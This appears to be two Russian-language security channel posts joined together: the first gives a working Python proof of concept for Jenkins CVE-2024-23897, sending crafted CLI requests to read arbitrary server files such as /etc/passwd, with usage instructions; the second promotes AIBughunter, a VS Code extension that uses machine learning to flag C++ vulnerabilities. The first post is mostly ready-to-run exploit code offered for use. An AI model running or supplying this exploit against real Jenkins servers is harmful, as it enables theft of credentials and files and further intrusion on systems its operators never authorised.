Jenkins RCE CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.

PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
    print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
    exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "download"
    })
    print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "upload",
        "Content-type": "application/octet-stream"
    }, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()

Использование:

python poc.py http://127.0.0.1:8888/ [/etc/passwd]

🌚 @poxek

👋.

Машинно-генерируемый код .. его так много и все мы с вами понимаем что он небезопасен.

Но можно ли заставить машину искать небезопасный код?

И вы можете сказать - мол "вставлю в гпт, попрошу - 'перепиши безопасно' " - но к сожалению так не заработает ...

🤔 Почему ? - Модель обучалась на данных, которые не имеют отношение к безопасной разработке. Более того, к сожалению, нету в реальном мире LLM, которая обучалась бы на безопасном коде...

В этом посте, я хочу с вами поделиться инструментом, который использует машинное обучение и помогает прогнозировать и обнаруживать уязвимости в коде (написанном или который пишется) на крестах(c++) .. да-да если есть такое для питона, то пришлите в комментариях.

В общем, AIBughunter - это дополнение, которое может быть интегрировано в vscode. Обучали его на данных из NVD.

В чём его плюсы для плюсов:

✅ Он умеет прогнозировать в real-time уязвимости которые вы можете допустить и предлагает вам как их исправить.

✅ Более того, если он обнаружил недостаток - то сразу появляется линк на CWE, а также severity.

Последний коммит расширения произошёл в прошлом году, однако разработчики не забросили проект - даже недавно написали paper по нему.

[демо-видос]

#аппсековое #code